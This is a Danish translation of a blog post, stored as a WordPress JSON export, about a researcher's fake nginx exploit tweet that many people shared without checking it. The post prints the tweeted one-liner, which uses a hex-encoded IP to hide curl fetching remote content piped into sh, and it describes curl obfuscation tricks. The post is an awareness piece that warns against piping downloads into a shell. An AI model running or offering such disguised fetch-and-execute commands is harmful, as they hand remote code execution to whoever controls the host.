{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Succes for socialt eksperiment med falsk exploit til nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Bem. overs.<\/b>: Forfatter<\/a><\/noindex> I det oprindelige indl\u00e6g, offentliggjort den 1. juni, besluttede jeg at foretage et eksperiment blandt dem, der er interesseret i informationssikkerhed. Til dette forberedte jeg en falsk exploit til en uopdaget s\u00e5rbarhed i en webserver og delte den p\u00e5 min Twitter-profil. Mine antagelser om at blive straks afsl\u00f8ret af specialister, der ville se den \u00e5benlyse bedrageri i koden, blev ikke bare ikke bekr\u00e6ftet... De oversteg alle forventninger, endda i den modsatte retning: Tweetet fik enorm st\u00f8tte fra mange mennesker, der ikke tog sig tid til at kontrollere indholdet.<\/i><\/p>\n

\"Succes
\n
\nTL;DR: Brug aldrig filpipeline i sh eller bash. Det er en fremragende m\u00e5de at miste kontrollen over din computer.<\/b><\/a><\/noindex><\/p>\n

Jeg vil dele en lille historie med jer om et sjovt PoC-exploit, der blev lavet den 31. maj. Det dukkede op hurtigt som svar p\u00e5 nyheden fra Alisa Esage Shevchenko<\/a><\/noindex>, medlem af Zero Day Initiative<\/a><\/noindex> (ZDI), om at informationen om en s\u00e5rbarhed i NGINX, der f\u00f8rer til RCE (fjernudf\u00f8relse af kode), snart ville blive offentliggjort. Da NGINX ligger til grund for mange websteder, skulle nyheden have haft en eksplosiv effekt. Men p\u00e5 grund af forsinkelser i den 'ansvarlige offentligg\u00f8relses'-proces var detaljerne om h\u00e6ndelsen ikke kendt \u2014 s\u00e5dan er standardproceduren hos ZDI.<\/p>\n

\"Succes
\nTweet<\/a><\/noindex> om offentligg\u00f8relsen af s\u00e5rbarheden i NGINX<\/i><\/p>\n

Efter at have f\u00e6rdiggjort arbejdet med en ny obfuskeringsteknik i curl, citerede jeg det oprindelige tweet og 'lavede en arbejdende PoC', der bestod af en enkelt linje kode, der angiveligt udnyttede den opdagede s\u00e5rbarhed. Selvf\u00f8lgelig var det komplet nonsens. Jeg antog, at jeg ville blive afsl\u00f8ret med det samme, og at jeg i bedste fald ville f\u00e5 et par retweets (og det var ok).<\/p>\n

\"Succes
\nTweet<\/a><\/noindex> med den falske exploit<\/i><\/p>\n

Men jeg kunne ikke forestille mig, hvad der skete derefter. Populariteten af mit tweet sk\u00f8d til vejrs. Overraskende nok har der indtil nu (kl. 15:00 MSK den 1. juni) stadig v\u00e6ret meget f\u00e5, der har indset, at dette er en falskhed. Mange retweeter det helt uden kontrol (for ikke at n\u00e6vne at beundre den dejlige ASCII-grafik, det genererer).<\/p>\n

\"Succes
\nBare se, hvilken sk\u00f8nhed!<\/i><\/p>\n

Selvom alle disse cykler og farver er vidunderlige, er det klart: For at se dem, m\u00e5tte folk k\u00f8re koden p\u00e5 deres egen maskine. Heldigvis fungerer browsere p\u00e5 samme m\u00e5de, og i kombination med det faktum, at jeg slet ikke \u00f8nsker problemer med loven, gjorde koden, der var gemt p\u00e5 mit site, blot echo-udskrifter uden at fors\u00f8ge at installere eller k\u00f8re noget ekstra kode.<\/p>\n

Et lille afbr\u00e6k: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, jeg og de andre fyre fra teamet Thugcrowd<\/a><\/noindex> har i et stykke tid leget med forskellige m\u00e5der at obfuske curl-kommandoer p\u00e5, fordi det er sjovt... og vi er n\u00f8rder. netspooky og dnz har opdaget et par nye metoder, som jeg fandt ekstremt lovende. Jeg deltager i sjovet og pr\u00f8ver at tilf\u00f8je IP-decimale konverteringer til trick-s\u00e6ttet. Det viste sig, at IP ogs\u00e5 kan konverteres til hexadecimalt format. Desuden kan curl og de fleste andre NIX-v\u00e6rkt\u00f8jer med gl\u00e6de \"spise\" hexadecimale IP-adresser! S\u00e5 det gjaldt om at skabe en overbevisende og sikkert udseende kommandolinje. Til sidst endte jeg med denne:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh< 'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Socio-elektrisk ingeni\u00f8rkunst (S.E.E.) \u2014 mere end bare phishing<\/h2>\n
\nSikkerhed og genkendelighed var en grundl\u00e6ggende del af dette eksperiment. Jeg tror, at det var netop disse elementer, der f\u00f8rte til dets succes. Kommandolinjen udtrykte tydeligt sikkerhed ved at referere til \"127.0.0.1\" (den velkendte localhost). Det antages, at localhost er sikkert, og at dataene der aldrig forlader din computer.<\/p>\n
Genkendelighed var den anden n\u00f8glekomponent i eksperimentets S.E.E.-aspekt. Da m\u00e5lgruppen hovedsageligt bestod af mennesker, der var bekendt med grundl\u00e6ggende computer- og netv\u00e6rkssikkerhed, var det vigtigt at skabe s\u00e5dan kode, at dens dele ville synes velkendte og normale (og derfor sikre). At l\u00e5ne elementer fra gamle exploit-koncepter og kombinere dem p\u00e5 en us\u00e6dvanlig m\u00e5de viste sig at v\u00e6re meget effektivt.<\/p>\n
Nedenfor f\u00f8lger en detaljeret gennemgang af one-lineren. Alt i denne liste er k\u00e6deligt<\/b>, og der kr\u00e6ves praktisk talt ikke noget for, at det fungerer.<\/i><\/p>\n
Hvilke komponenter er egentlig n\u00f8dvendige? Det er -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> og webserver. Webserveren indeholdt ingen ondsindede instruktioner, men overf\u00f8rte blot ASCII-grafik ved hj\u00e6lp af kommandoer echo<\/code> i scriptet, der findes i index.html<\/code>. N\u00e5r brugeren indtastede en streng med |sh<\/code> i midten, index.html<\/code> blev den indl\u00e6st og udf\u00f8rt. Heldigvis havde webserverens administratorer ingen onde intentioner.<\/p>\n